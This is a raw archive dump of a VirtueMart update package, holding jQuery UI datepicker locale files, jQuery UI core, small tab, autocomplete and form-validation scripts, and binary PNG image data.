['Ne','Po','Ut','Sr','Če','Pe','Su'], weekHeader: 'Sed', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['sr-SR']); }); PKtl>\O\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fr-CH.jsnuW+A/* Swiss-French initialisation for the jQuery UI date picker plugin. */ /* Written Martin Voelkle (martin.voelkle@e-tc.ch). */ jQuery(function($){ $.datepicker.regional['fr-CH'] = { closeText: 'Fermer', prevText: '<Préc', nextText: 'Suiv>', currentText: 'Courant', monthNames: ['Janvier','Février','Mars','Avril','Mai','Juin', 'Juillet','Août','Septembre','Octobre','Novembre','Décembre'], monthNamesShort: ['Jan','Fév','Mar','Avr','Mai','Jun', 'Jul','Aoû','Sep','Oct','Nov','Déc'], dayNames: ['Dimanche','Lundi','Mardi','Mercredi','Jeudi','Vendredi','Samedi'], dayNamesShort: ['Dim','Lun','Mar','Mer','Jeu','Ven','Sam'], dayNamesMin: ['Di','Lu','Ma','Me','Je','Ve','Sa'], weekHeader: 'Sm', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fr-CH']); });PKtl>\WsqqYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-de.jsnuW+A/* German initialisation for the jQuery UI date picker plugin. */ /* Written by Milian Wolff (mail@milianw.de). */ jQuery(function($){ $.datepicker.regional['de'] = { closeText: 'schließen', prevText: '<zurück', nextText: 'Vor>', currentText: 'heute', monthNames: ['Januar','Februar','März','April','Mai','Juni', 'Juli','August','September','Oktober','November','Dezember'], monthNamesShort: ['Jan','Feb','Mär','Apr','Mai','Jun', 'Jul','Aug','Sep','Okt','Nov','Dez'], dayNames: ['Sonntag','Montag','Dienstag','Mittwoch','Donnerstag','Freitag','Samstag'], dayNamesShort: ['So','Mo','Di','Mi','Do','Fr','Sa'], dayNamesMin: ['So','Mo','Di','Mi','Do','Fr','Sa'], weekHeader: 'Wo', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['de']); }); PKtl>\TgYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-lt.jsnuW+A/* Lithuanian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lt'] = { closeText: 'Uždaryti', prevText: '<Atgal', nextText: 'Pirmyn>', currentText: 'Šiandien', monthNames: ['Sausis','Vasaris','Kovas','Balandis','Gegužė','Birželis', 'Liepa','Rugpjūtis','Rugsėjis','Spalis','Lapkritis','Gruodis'], monthNamesShort: ['Sau','Vas','Kov','Bal','Geg','Bir', 'Lie','Rugp','Rugs','Spa','Lap','Gru'], dayNames: ['sekmadienis','pirmadienis','antradienis','trečiadienis','ketvirtadienis','penktadienis','šeštadienis'], dayNamesShort: ['sek','pir','ant','tre','ket','pen','šeš'], dayNamesMin: ['Se','Pr','An','Tr','Ke','Pe','Še'], weekHeader: 'Wk', dateFormat: 'yy-mm-dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lt']); });PKtl>\.Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-cs.jsnuW+A/* Czech initialisation for the jQuery UI date picker plugin. */ /* Written by Tomas Muller (tomas@tomas-muller.net). */ jQuery(function($){ $.datepicker.regional['cs'] = { closeText: 'Zavřít', prevText: '<Dříve', nextText: 'Později>', currentText: 'Nyní', monthNames: ['leden','únor','březen','duben','květen','červen', 'červenec','srpen','září','říjen','listopad','prosinec'], monthNamesShort: ['led','úno','bře','dub','kvě','čer', 'čvc','srp','zář','říj','lis','pro'], dayNames: ['neděle', 'pondělí', 'úterý', 'středa', 'čtvrtek', 'pátek', 'sobota'], dayNamesShort: ['ne', 'po', 'út', 'st', 'čt', 'pá', 'so'], dayNamesMin: ['ne','po','út','st','čt','pá','so'], weekHeader: 'Týd', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['cs']); }); PKtl>\F Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-rm.jsnuW+A/* Romansh initialisation for the jQuery UI date picker plugin. */ /* Written by Yvonne Gienal (yvonne.gienal@educa.ch). */ jQuery(function($){ $.datepicker.regional['rm'] = { closeText: 'Serrar', prevText: '<Suandant', nextText: 'Precedent>', currentText: 'Actual', monthNames: ['Schaner','Favrer','Mars','Avrigl','Matg','Zercladur', 'Fanadur','Avust','Settember','October','November','December'], monthNamesShort: ['Scha','Fev','Mar','Avr','Matg','Zer', 'Fan','Avu','Sett','Oct','Nov','Dec'], dayNames: ['Dumengia','Glindesdi','Mardi','Mesemna','Gievgia','Venderdi','Sonda'], dayNamesShort: ['Dum','Gli','Mar','Mes','Gie','Ven','Som'], dayNamesMin: ['Du','Gl','Ma','Me','Gi','Ve','So'], weekHeader: 'emna', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['rm']); }); PKtl>\Q\com_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-en-AU.jsnuW+A/* English/Australia initialisation for the jQuery UI date picker plugin. */ /* Based on the en-GB initialisation. */ jQuery(function($){ $.datepicker.regional['en-AU'] = { closeText: 'Done', prevText: 'Prev', nextText: 'Next', currentText: 'Today', monthNames: ['January','February','March','April','May','June', 'July','August','September','October','November','December'], monthNamesShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], dayNamesShort: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], dayNamesMin: ['Su','Mo','Tu','We','Th','Fr','Sa'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['en-AU']); }); PKtl>\JrYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-nl.jsnuW+A/* Dutch (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Mathias Bynens */ jQuery(function($){ $.datepicker.regional.nl = { closeText: 'Sluiten', prevText: '←', nextText: '→', currentText: 'Vandaag', monthNames: ['januari', 'februari', 'maart', 'april', 'mei', 'juni', 'juli', 'augustus', 'september', 'oktober', 'november', 'december'], monthNamesShort: ['jan', 'feb', 'maa', 'apr', 'mei', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'dec'], dayNames: ['zondag', 'maandag', 'dinsdag', 'woensdag', 'donderdag', 'vrijdag', 'zaterdag'], dayNamesShort: ['zon', 'maa', 'din', 'woe', 'don', 'vri', 'zat'], dayNamesMin: ['zo', 'ma', 'di', 'wo', 'do', 'vr', 'za'], weekHeader: 'Wk', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional.nl); });PKtl>\R Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-pt.jsnuW+A/* Portuguese initialisation for the jQuery UI date picker plugin. */ jQuery(function($){ $.datepicker.regional['pt'] = { closeText: 'Fechar', prevText: '<Anterior', nextText: 'Seguinte', currentText: 'Hoje', monthNames: ['Janeiro','Fevereiro','Março','Abril','Maio','Junho', 'Julho','Agosto','Setembro','Outubro','Novembro','Dezembro'], monthNamesShort: ['Jan','Fev','Mar','Abr','Mai','Jun', 'Jul','Ago','Set','Out','Nov','Dez'], dayNames: ['Domingo','Segunda-feira','Terça-feira','Quarta-feira','Quinta-feira','Sexta-feira','Sábado'], dayNamesShort: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], dayNamesMin: ['Dom','Seg','Ter','Qua','Qui','Sex','Sáb'], weekHeader: 'Sem', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['pt']); });PKtl>\JMYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-eu.jsnuW+A/* Euskarako oinarria 'UI date picker' jquery-ko extentsioarentzat */ /* Karrikas-ek itzulia (karrikas@karrikas.com) */ jQuery(function($){ $.datepicker.regional['eu'] = { closeText: 'Egina', prevText: '<Aur', nextText: 'Hur>', currentText: 'Gaur', monthNames: ['Urtarrila','Otsaila','Martxoa','Apirila','Maiatza','Ekaina', 'Uztaila','Abuztua','Iraila','Urria','Azaroa','Abendua'], monthNamesShort: ['Urt','Ots','Mar','Api','Mai','Eka', 'Uzt','Abu','Ira','Urr','Aza','Abe'], dayNames: ['Igandea','Astelehena','Asteartea','Asteazkena','Osteguna','Ostirala','Larunbata'], dayNamesShort: ['Iga','Ast','Ast','Ast','Ost','Ost','Lar'], dayNamesMin: ['Ig','As','As','As','Os','Os','La'], weekHeader: 'Wk', dateFormat: 'yy/mm/dd', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['eu']); });PKtl>\i ,11Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-tj.jsnuW+A/* Tajiki (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* Written by Abdurahmon Saidov (saidovab@gmail.com). */ jQuery(function($){ $.datepicker.regional['tj'] = { closeText: 'Идома', prevText: '<Қафо', nextText: 'Пеш>', currentText: 'Имрӯз', monthNames: ['Январ','Феврал','Март','Апрел','Май','Июн', 'Июл','Август','Сентябр','Октябр','Ноябр','Декабр'], monthNamesShort: ['Янв','Фев','Мар','Апр','Май','Июн', 'Июл','Авг','Сен','Окт','Ноя','Дек'], dayNames: ['якшанбе','душанбе','сешанбе','чоршанбе','панҷшанбе','ҷумъа','шанбе'], dayNamesShort: ['якш','душ','сеш','чор','пан','ҷум','шан'], dayNamesMin: ['Як','Дш','Сш','Чш','Пш','Ҷм','Шн'], weekHeader: 'Хф', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['tj']); });PKtl>\_-Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-gl.jsnuW+A/* Galician localization for 'UI date picker' jQuery extension. */ /* Translated by Jorge Barreiro . */ jQuery(function($){ $.datepicker.regional['gl'] = { closeText: 'Pechar', prevText: '<Ant', nextText: 'Seg>', currentText: 'Hoxe', monthNames: ['Xaneiro','Febreiro','Marzo','Abril','Maio','Xuño', 'Xullo','Agosto','Setembro','Outubro','Novembro','Decembro'], monthNamesShort: ['Xan','Feb','Mar','Abr','Mai','Xuñ', 'Xul','Ago','Set','Out','Nov','Dec'], dayNames: ['Domingo','Luns','Martes','Mércores','Xoves','Venres','Sábado'], dayNamesShort: ['Dom','Lun','Mar','Mér','Xov','Ven','Sáb'], dayNamesMin: ['Do','Lu','Ma','Mé','Xo','Ve','Sá'], weekHeader: 'Sm', dateFormat: 'dd/mm/yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['gl']); });PKtl>\HIPYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-th.jsnuW+A/* Thai initialisation for the jQuery UI date picker plugin. */ /* Written by pipo (pipo@sixhead.com). */ jQuery(function($){ $.datepicker.regional['th'] = { closeText: 'ปิด', prevText: '« ย้อน', nextText: 'ถัดไป »', currentText: 'วันนี้', monthNames: ['มกราคม','กุมภาพันธ์','มีนาคม','เมษายน','พฤษภาคม','มิถุนายน', 'กรกฎาคม','สิงหาคม','กันยายน','ตุลาคม','พฤศจิกายน','ธันวาคม'], monthNamesShort: ['ม.ค.','ก.พ.','มี.ค.','เม.ย.','พ.ค.','มิ.ย.', 'ก.ค.','ส.ค.','ก.ย.','ต.ค.','พ.ย.','ธ.ค.'], dayNames: ['อาทิตย์','จันทร์','อังคาร','พุธ','พฤหัสบดี','ศุกร์','เสาร์'], dayNamesShort: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], dayNamesMin: ['อา.','จ.','อ.','พ.','พฤ.','ศ.','ส.'], weekHeader: 'Wk', dateFormat: 'dd/mm/yy', firstDay: 0, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['th']); });PKtl>\aYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-fi.jsnuW+A/* Finnish initialisation for the jQuery UI date picker plugin. */ /* Written by Harri Kilpi� (harrikilpio@gmail.com). */ jQuery(function($){ $.datepicker.regional['fi'] = { closeText: 'Sulje', prevText: '«Edellinen', nextText: 'Seuraava»', currentText: 'Tänään', monthNames: ['Tammikuu','Helmikuu','Maaliskuu','Huhtikuu','Toukokuu','Kesäkuu', 'Heinäkuu','Elokuu','Syyskuu','Lokakuu','Marraskuu','Joulukuu'], monthNamesShort: ['Tammi','Helmi','Maalis','Huhti','Touko','Kesä', 'Heinä','Elo','Syys','Loka','Marras','Joulu'], dayNamesShort: ['Su','Ma','Ti','Ke','To','Pe','Su'], dayNames: ['Sunnuntai','Maanantai','Tiistai','Keskiviikko','Torstai','Perjantai','Lauantai'], dayNamesMin: ['Su','Ma','Ti','Ke','To','Pe','La'], weekHeader: 'Vk', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['fi']); }); PKtl>\9TYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-ro.jsnuW+A/* Romanian initialisation for the jQuery UI date picker plugin. * * Written by Edmond L. (ll_edmond@walla.com) * and Ionut G. Stan (ionut.g.stan@gmail.com) */ jQuery(function($){ $.datepicker.regional['ro'] = { closeText: 'Închide', prevText: '« Luna precedentă', nextText: 'Luna următoare »', currentText: 'Azi', monthNames: ['Ianuarie','Februarie','Martie','Aprilie','Mai','Iunie', 'Iulie','August','Septembrie','Octombrie','Noiembrie','Decembrie'], monthNamesShort: ['Ian', 'Feb', 'Mar', 'Apr', 'Mai', 'Iun', 'Iul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], dayNames: ['Duminică', 'Luni', 'Marţi', 'Miercuri', 'Joi', 'Vineri', 'Sâmbătă'], dayNamesShort: ['Dum', 'Lun', 'Mar', 'Mie', 'Joi', 'Vin', 'Sâm'], dayNamesMin: ['Du','Lu','Ma','Mi','Jo','Vi','Sâ'], weekHeader: 'Săpt', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['ro']); }); PKtl>\}Ycom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-no.jsnuW+A/* Norwegian initialisation for the jQuery UI date picker plugin. */ /* Written by Naimdjon Takhirov (naimdjon@gmail.com). */ jQuery(function($){ $.datepicker.regional['no'] = { closeText: 'Lukk', prevText: '«Forrige', nextText: 'Neste»', currentText: 'I dag', monthNames: ['januar','februar','mars','april','mai','juni','juli','august','september','oktober','november','desember'], monthNamesShort: ['jan','feb','mar','apr','mai','jun','jul','aug','sep','okt','nov','des'], dayNamesShort: ['søn','man','tir','ons','tor','fre','lør'], dayNames: ['søndag','mandag','tirsdag','onsdag','torsdag','fredag','lørdag'], dayNamesMin: ['sø','ma','ti','on','to','fr','lø'], weekHeader: 'Uke', dateFormat: 'dd.mm.yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: '' }; $.datepicker.setDefaults($.datepicker.regional['no']); }); PKtl>\aYcom_virtuemart_update/components/com_virtuemart/assets/js/i18n/jquery.ui.datepicker-lv.jsnuW+A/* Latvian (UTF-8) initialisation for the jQuery UI date picker plugin. */ /* @author Arturas Paleicikas */ jQuery(function($){ $.datepicker.regional['lv'] = { closeText: 'Aizvērt', prevText: 'Iepr', nextText: 'Nāka', currentText: 'Šodien', monthNames: ['Janvāris','Februāris','Marts','Aprīlis','Maijs','Jūnijs', 'Jūlijs','Augusts','Septembris','Oktobris','Novembris','Decembris'], monthNamesShort: ['Jan','Feb','Mar','Apr','Mai','Jūn', 'Jūl','Aug','Sep','Okt','Nov','Dec'], dayNames: ['svētdiena','pirmdiena','otrdiena','trešdiena','ceturtdiena','piektdiena','sestdiena'], dayNamesShort: ['svt','prm','otr','tre','ctr','pkt','sst'], dayNamesMin: ['Sv','Pr','Ot','Tr','Ct','Pk','Ss'], weekHeader: 'Nav', dateFormat: 'dd-mm-yy', firstDay: 1, isRTL: false, showMonthAfterYear: false, yearSuffix: ''}; $.datepicker.setDefaults($.datepicker.regional['lv']); });PKtl>\WcOcom_virtuemart_update/components/com_virtuemart/assets/js/jquery.ui.core.min.jsnuW+A/*! * jQuery UI 1.8.14 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */ (function(c,j){function k(a,b){var d=a.nodeName.toLowerCase();if("area"===d){b=a.parentNode;d=b.name;if(!a.href||!d||b.nodeName.toLowerCase()!=="map")return false;a=c("img[usemap=#"+d+"]")[0];return!!a&&l(a)}return(/input|select|textarea|button|object/.test(d)?!a.disabled:"a"==d?a.href||b:b)&&l(a)}function l(a){return!c(a).parents().andSelf().filter(function(){return c.curCSS(this,"visibility")==="hidden"||c.expr.filters.hidden(this)}).length}c.ui=c.ui||{};if(!c.ui.version){c.extend(c.ui,{version:"1.8.14", keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}});c.fn.extend({_focus:c.fn.focus,focus:function(a,b){return typeof a==="number"?this.each(function(){var d=this;setTimeout(function(){c(d).focus(); b&&b.call(d)},a)}):this._focus.apply(this,arguments)},scrollParent:function(){var a;a=c.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?this.parents().filter(function(){return/(relative|absolute|fixed)/.test(c.curCSS(this,"position",1))&&/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this,"overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0):this.parents().filter(function(){return/(auto|scroll)/.test(c.curCSS(this,"overflow",1)+c.curCSS(this, "overflow-y",1)+c.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!a.length?c(document):a},zIndex:function(a){if(a!==j)return this.css("zIndex",a);if(this.length){a=c(this[0]);for(var b;a.length&&a[0]!==document;){b=a.css("position");if(b==="absolute"||b==="relative"||b==="fixed"){b=parseInt(a.css("zIndex"),10);if(!isNaN(b)&&b!==0)return b}a=a.parent()}}return 0},disableSelection:function(){return this.bind((c.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection", function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}});c.each(["Width","Height"],function(a,b){function d(f,g,m,n){c.each(e,function(){g-=parseFloat(c.curCSS(f,"padding"+this,true))||0;if(m)g-=parseFloat(c.curCSS(f,"border"+this+"Width",true))||0;if(n)g-=parseFloat(c.curCSS(f,"margin"+this,true))||0});return g}var e=b==="Width"?["Left","Right"]:["Top","Bottom"],h=b.toLowerCase(),i={innerWidth:c.fn.innerWidth,innerHeight:c.fn.innerHeight,outerWidth:c.fn.outerWidth, outerHeight:c.fn.outerHeight};c.fn["inner"+b]=function(f){if(f===j)return i["inner"+b].call(this);return this.each(function(){c(this).css(h,d(this,f)+"px")})};c.fn["outer"+b]=function(f,g){if(typeof f!=="number")return i["outer"+b].call(this,f);return this.each(function(){c(this).css(h,d(this,f,true,g)+"px")})}});c.extend(c.expr[":"],{data:function(a,b,d){return!!c.data(a,d[3])},focusable:function(a){return k(a,!isNaN(c.attr(a,"tabindex")))},tabbable:function(a){var b=c.attr(a,"tabindex"),d=isNaN(b); return(d||b>=0)&&k(a,!d)}});c(function(){var a=document.body,b=a.appendChild(b=document.createElement("div"));c.extend(b.style,{minHeight:"100px",height:"auto",padding:0,borderWidth:0});c.support.minHeight=b.offsetHeight===100;c.support.selectstart="onselectstart"in b;a.removeChild(b).style.display="none"});c.extend(c.ui,{plugin:{add:function(a,b,d){a=c.ui[a].prototype;for(var e in d){a.plugins[e]=a.plugins[e]||[];a.plugins[e].push([b,d[e]])}},call:function(a,b,d){if((b=a.plugins[b])&&a.element[0].parentNode)for(var e= 0;e0)return true;a[b]=1;d=a[b]>0;a[b]=0;return d},isOverAxis:function(a,b,d){return a>b&&a\WCCcom_virtuemart_update/components/com_virtuemart/assets/js/vmtabs.jsnuW+Afunction vm2tabs(pages) { pages.addClass("dyn-tabs"); pages.first().show(); var tabNavigation = jQuery('
            ').insertBefore(pages.first()); pages.each(function() { var listElement = jQuery("
          • "); var label = jQuery(this).attr("title") ? jQuery(this).attr("title") : "Kein Label"; listElement.text(label); tabNavigation.append(listElement); }); var items = tabNavigation.find("li"); items.first().addClass("current"); items.click(function() { items.removeClass("current"); jQuery(this).addClass("current"); pages.hide(); pages.eq(jQuery(this).index()).fadeIn(200); }); } jQuery(document).ready(function() { vm2tabs(jQuery("#ui-tabs .tabs")); });PKtl>\M3''Xcom_virtuemart_update/components/com_virtuemart/assets/js/jquery.ui.autocomplete.html.jsnuW+A/* * jQuery UI Autocomplete HTML Extension * * Copyright 2010, Scott González (http://scottgonzalez.com) * Dual licensed under the MIT or GPL Version 2 licenses. * * http://github.com/scottgonzalez/jquery-ui-extensions */ (function( $ ) { var proto = $.ui.autocomplete.prototype, initSource = proto._initSource; function filter( array, term ) { var matcher = new RegExp( $.ui.autocomplete.escapeRegex(term), "i" ); return $.grep( array, function(value) { return matcher.test( $( "
            " ).html( value.label || value.value || value ).text() ); }); } $.extend( proto, { _initSource: function() { if ( this.options.html && $.isArray(this.options.source) ) { this.source = function( request, response ) { response( filter( this.options.source, request.term ) ); }; } else { initSource.call( this ); } }, _renderItem: function( ul, item) { return $( "
          • " ) .data( "item.autocomplete", item ) .append( $( "" )[ this.options.html ? "html" : "text" ]( item.label ) ) .appendTo( ul ); } }); })( jQuery ); PKtl>\%Ncom_virtuemart_update/components/com_virtuemart/assets/js/jquery.validation.jsnuW+A/* $(function(){ // jQuery DOM ready function. var myForm = $("#my_form"); myForm.validation(); // We can check if the form is valid on // demand, using our validate function. $("#test").click(function() { if(!myForm.validate()) { alert("oh noes.. error!"); } }); }); */ // exemple to add new rules // $.Validation.addRule("test",{ // check: function(value) { // if(value != "test") { // return false; // } // return true; // }, // msg : "Must equal to the word test." // }); (function($) { /* Validation Singleton */ var Validation = function() { var rules = { email : { check: function(value) { if(value) return testPattern(value,"[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])"); return true; }, msg : "Enter a valid e-mail address." }, url : { check : function(value) { if(value) return testPattern(value,"^https?://(.+\.)+.{2,4}(/.*)?$"); return true; }, msg : "Enter a valid URL." }, required : { check: function(value) { if(value) return true; else return false; }, msg : "This field is required." } } var testPattern = function(value, pattern) { var regExp = new RegExp(pattern,""); return regExp.test(value); } return { addRule : function(name, rule) { rules[name] = rule; }, getRule : function(name) { return rules[name]; } } } /* Form factory */ var Form = function(form) { var fields = []; form.find("[validation]").each(function() { var field = $(this); if(field.attr('validation') !== undefined) { fields.push(new Field(field)); } }); this.fields = fields; } Form.prototype = { validate : function() { for(field in this.fields) { this.fields[field].validate(); } }, isValid : function() { for(field in this.fields) { if(!this.fields[field].valid) { this.fields[field].field.focus(); return false; } } return true; } } /* Field factory */ var Field = function(field) { this.field = field; this.valid = false; this.attach("change"); } Field.prototype = { attach : function(event) { var obj = this; if(event == "change") { obj.field.bind("change",function() { return obj.validate(); }); } if(event == "keyup") { obj.field.bind("keyup",function(e) { return obj.validate(); }); } }, validate : function() { var obj = this, field = obj.field, errorClass = "errorlist", errorlist = $(document.createElement("ul")).addClass(errorClass), types = field.attr("validation").split(" "), container = field.parent(), errors = []; field.next(".errorlist").remove(); for (var type in types) { var rule = $.Validation.getRule(types[type]); if(!rule.check(field.val())) { container.addClass("error"); errors.push(rule.msg); } } if(errors.length) { obj.field.unbind("keyup") obj.attach("keyup"); field.after(errorlist.empty()); for(error in errors) { errorlist.append("
          • "+ errors[error] +"
          • "); } obj.valid = false; } else { errorlist.remove(); container.removeClass("error"); obj.valid = true; } } } /* Validation extends jQuery prototype */ $.extend($.fn, { validation : function() { var validator = new Form($(this)); $.data($(this)[0], 'validator', validator); $(this).bind("submit", function(e) { validator.validate(); if(!validator.isValid()) { e.preventDefault(); } }); }, validate : function() { var validator = $.data($(this)[0], 'validator'); validator.validate(); return validator.isValid(); } }); $.Validation = new Validation(); })(jQuery);PKtl>\MScom_virtuemart_update/components/com_virtuemart/assets/images/color-stars-small.pngnuW+APNG  IHDR <ъtEXtSoftwareAdobe ImageReadyqe<$iTXtXML:com.adobe.xmp <諻 IDATxXypUol@6CB!T82EK 5Eq!ukiъeJ`b!4+Ixyz{oBJᙜ{99e|[>ŧ8FDo!$UO#V 9`$@BzQ_VYR Dݴtgt_WX16l$cʷ.:'uڣfgJ81D=hh?n˿yQ!KK>ɖȉ09.39A#0ѺO>r{f:~?!/?0 !q$8.eڑnjHD"ug^M~vrg݂ \".݇-0k4g\G-u*v_yʅ rbŬ'.h,^Z7L"4 3M۽G|ŻJ)g5\+H ⴳB`F=W?Rf[.'PO~EY(j uHxJȮ1J)yA>g_mf=xk {Dתl ~ oˆ *&ZrЫҲXzލ<ģF&*!r a%ЯeAE8L41X,.8,I4CZ"y+z *WT3$h0ŀd"]*APU1v {?Cf+knv G^u(?NNc|[VHEڅ/:<7Ɋ3dqF$+*w*!<RUg%vz1[h2б}>vZalٽQoT ,3?ye0j=v#ֈpLTIѯhqI&tf9 FUm}2)NM9ҶR8ڇooFTLJUD.0+%"*ϱa F 3Q(.åS2X&ÏܢUf {ȭ13SnN!l"QhÔxVK “POb60Xch& F[]7**]s PC ~8w8K9F>xS!HpM ")io4l^OUrtӮ^dja䈔p뉏~?$;vz5[0llv˓w<ѐE7bC"")>J@` 4g'b8I,-SCL)ѳ1C6u}^BmƏ\byƫ/2~Y[06R,n~W7N ,PKtv dj'3Ygh Igws @ yo U5h4h@Vf=ŧP@9k!~K#ܚI0"Xu_rgA[)4 ߷|6;-{^ST_مW97qT>T#%W2ܽlYUQc^S'{dpɅ]hYa.cj ᩧS9 *{jUV:Q9 N.)B>(*o:애e SE\ݦF*S _E& sc.2RJ1>WgV7@D~M-ihBr0o%!4؊x}D2TW;ڌD~JЌn?HW]w_4Ts"MjsBDzH?>CH;2M3)}B[-ULG{%h>\ctzXK^nT IKKn[l. =?ucyZlNNmGK&!Kes\`iGSQ]ĵtO!D7&Ԉ "ۄAو?KWvVӹ~ڃM *#vv-(.`HH3fc̞^Ġܴ>Hn1=T~&o*'R{pe#4Tz|#6V,o&$ eYI_ ґ9zR4DB +7-J(iRTWPo!NDtҏ2H-vUG/UJGL\نL!T+5>zd'} zJ,g' ^;Ke nv^]} WAbl<֭~q~\yXF8AD8 +DX.!)*)Ut.D dq9qCBJI$$%T^|ΦcJsޓT25l)Ft}~}󋫂W2qfN*NS.=xo{ݵ<[@W*f>{xЉÙ Dd:x!5ő"ߘO?08yKcXRNŮ6}y&&*W[kNsWeeJ׽zm'Ia&|z> y4(X #1⨘5L䭱Ç2d )))B!i2mĉD?~v}D0м瑟W:[fs #Dȵuuu˩NsT;q7lٲ2JQ`Aҕ '~EEEIH blՕJQ\vW||q 2RN'#wKG6l|K,D NyLSĆ2}ףVp$D{O~ԩS7o,=I՛233B.͡F=Fqyh(5?ep#tIENDB`PKtl>\Rcom_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/index.htmlnuW+APKtl>\44r\com_virtuemart_update/components/com_virtuemart/assets/images/vmgeneral/remove_from_cart.pngnuW+APNG  IHDRj PLTE   '% */11 72!:#4(<)=(8?E.?KRQVPVPVPVOWOWOVHWY_TY[!k\2zW   # &% *-258<9@D#?<I$FM&KQS&MWX Ga.XObOQ2]0\"fVW9aZYX\*a\3['\#cc#w%a$c%c$d&f g&g&hi'h'h(j!l+kFu.o/r0rG{0s1t-xErJx/x<{:3v1yAv2{3}^r17}M>9PSq;<>>ADO@ABKWGLMPUdTe[\_cedglmkr|}隲->EtRNSO¼K>7yB ,IDATӕJA\6n^%ZXJ@%lm|[ , _@7PШQ6k ;3msʏs`0h2"8y@>Ͼ:4۽Lkljdֽw 